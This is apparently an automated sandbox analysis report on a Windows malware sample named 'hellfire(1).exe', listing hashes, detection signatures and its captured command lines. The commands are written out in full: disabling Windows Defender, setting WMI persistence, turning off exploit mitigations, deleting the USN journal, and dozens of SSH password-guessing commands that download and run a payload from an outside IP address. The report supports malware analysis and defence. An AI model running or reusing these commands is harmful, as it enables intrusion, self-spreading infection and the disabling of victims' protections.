dfa2a1f14e4755c2315d20e14cef49c80b5e75cde7cbc69eb4a6c8ac9d8d7a7e

Analysis

user interaction
yes
max time kernel
20s
max time network
17s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 08:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
hellfire(1).exe
Size 514KB
Sample260817-j91qysgl21
SHA256 dfa2a1f14e4755c2315d20e14cef49c80b5e75cde7cbc69eb4a6c8ac9d8d7a7e
MD5 1766bb738e9f2b13eadcdc37b28805c2
SHA1 64e47f8878ad47982995a69f501c949a5ad59a4a
SHA512 100ff6b57e1c229a3ab1cf402e62e4897ce5e2a400ec7302b9bd2860aec5acd08e2cd4bd06bdf1c579f02a56e823b68dc56c8f7932c01b552060e76e8c97514a
SSDEEP 12288:28NH0kbdBH0lOLlVlrNg70GsSusj6/agCFX:xH/BHxLU
TLSH
T162B4FA5A775A65F5C33B8430C5EB57359A20F4862138BD6103C8F229ED209398FB6EED
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/1004-20-0x00007FF6C95F0000-0x00007FF6C9679000-memory.dmp	disable_win_def

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4144	powershell.exe
4144	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3880	cmd.exe
5332	cmd.exe
2912	cmd.exe
4600	cmd.exe
5588	cmd.exe
36332	cmd.exe
36008	cmd.exe
2844	cmd.exe
3440	cmd.exe
4632	cmd.exe
40144	cmd.exe
5984	cmd.exe
5516	cmd.exe
5580	cmd.exe
5260	cmd.exe
36324	cmd.exe
35916	cmd.exe
40272	cmd.exe
6444	cmd.exe
35968	cmd.exe
6592	cmd.exe
35868	cmd.exe
2004	cmd.exe
12924	cmd.exe
36048	cmd.exe
3384	cmd.exe
2976	cmd.exe
6404	cmd.exe
2984	cmd.exe
3624	cmd.exe
36164	cmd.exe
36380	cmd.exe
4384	cmd.exe
6356	cmd.exe
5704	cmd.exe
5484	cmd.exe
6028	cmd.exe
36308	cmd.exe
4904	cmd.exe
3060	cmd.exe
36076	cmd.exe
35888	cmd.exe
2728	cmd.exe
6220	cmd.exe
6152	cmd.exe
6100	cmd.exe
240	cmd.exe
2888	cmd.exe
4076	cmd.exe
2600	cmd.exe
2856	cmd.exe
6316	cmd.exe
6500	cmd.exe
5404	cmd.exe
5928	cmd.exe
3208	cmd.exe
3636	cmd.exe
40288	cmd.exe
38788	cmd.exe
5576	cmd.exe
36224	cmd.exe
3504	cmd.exe
6380	cmd.exe
6292	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4144	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	1004	hellfire(1).exe
Token: SeTakeOwnershipPrivilege	1004	hellfire(1).exe
Token: SeBackupPrivilege	1004	hellfire(1).exe
Token: SeRestorePrivilege	1004	hellfire(1).exe
Token: SeSecurityPrivilege	1004	hellfire(1).exe
Token: SeShutdownPrivilege	1004	hellfire(1).exe
Token: SeLoadDriverPrivilege	1004	hellfire(1).exe
Token: SeSystemEnvironmentPrivilege	1004	hellfire(1).exe
Token: SeManageVolumePrivilege	1004	hellfire(1).exe
Token: SeTcbPrivilege	1004	hellfire(1).exe
Token: SeDebugPrivilege	4144	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1004 wrote to memory of 4144	1004	hellfire(1).exe	91

C:\Users\Admin\AppData\Local\Temp\hellfire(1).exe
"C:\Users\Admin\AppData\Local\Temp\hellfire(1).exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\hellfire(1).exe'; Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4144
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -Command "$f=[WMICLASS]'root\subscription:__EventFilter';$f2=$f.CreateInstance();$f2.Name='NvFilter_';$f2.Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System''';$f2.QueryLanguage='WQL';$f2.Put()|Out-Null;$c=[WMICLASS]'root\subscription:CommandLineEventConsumer';$c2=$c.CreateInstance();$c2.Name='NvConsumer_ õÿù';$c2.CommandLineTemplate='cmd /c start /min "C:\Users\Admin\AppData\Local\Temp\hellfire(1).exe"';$c2.Put()|Out-Null;$b=[WMICLASS]'root\subscription:__FilterToConsumerBinding';$b2=$b.CreateInstance();$b2.Filter=$f2;$b2.Consumer=$c2;$b2.Put()|Out-Null" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4384
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c sc stop msiserver 2>nul & sc config msiserver start= disabled 2>nul & sc delete msiserver 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c reg delete HKCU\Console /f 2>nul
  2⤵
  PID:5728
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -Command "Get-ProcessMitigation -System | Set-ProcessMitigation -Disable DEP,ASLR,CFG,SEHOP,HighEntropy,ForceRelocate,BottomUp" 2>nul
  2⤵
  PID:5488
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:464
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -Command "Set-CimInstance -Query 'Select * from Win32_PageFileSetting' -Property @{Name=''}" 2>nul
  2⤵
  PID:1844
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c fsutil usn deletejournal /D C: 2>nul
  2⤵
  PID:6112
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5576
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4904
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:700
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4612
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3384
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2600
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2728
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:776
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5236
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2736
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3424
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5008
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5764
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4388
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4832
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3352
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3832
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2772
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2004
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4212
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3724
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3360
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5916
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3880
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1188
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1220
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2716
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5424
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3284
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3708
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5648
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2976
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2860
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1088
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3504
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2312
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2900
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4752
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5260
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1604
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3636
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2520
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5252
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3208
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2304
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3256
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5788
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:956
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3420
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4572
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5928
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5588
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5784
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3624
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2888
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5512
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1356
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1932
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5580
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5404
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5112
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4492
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4632
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3060
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2392
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1320
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4600
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5376
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1284
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3128
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4460
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5652
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5632
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3892
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6028
- C:\Windows\SYSTEM32\cmd.exe
